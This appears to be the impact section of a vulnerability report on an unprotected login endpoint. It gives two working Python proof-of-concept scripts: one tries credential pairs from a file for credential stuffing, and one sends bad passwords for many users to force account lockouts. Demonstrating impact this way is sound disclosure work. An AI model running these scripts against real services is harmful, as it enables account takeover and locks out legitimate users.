An attacker can perform brute-force or credential stuffing attacks to gain unauthorized access to user accounts.
- Credential stuffing
import requests login_url = "https://[VULNERABLE-SERVICE]/login" with open("credentials.txt", "r", encoding="utf-8") as f: for line in f: username, password = line.strip().split(":") payload = { "username": username, "password": password } response = requests.post(login_url, data=payload) if "Welcome" in response.text: print(f"Successful login: {username}:{password}")
An attacker can cause a denial of service for legitimate users by intentionally triggering account lockouts.
- Brute-force on multiple accounts
import requests login_url = "https://[VULNERABLE-SERVICE]/login" with open("user_list.txt", "r", encoding="utf-8") as f: for username in f: username = username.strip() payload = { "username": username, "password": "invalid_password" } requests.post(login_url, data=payload)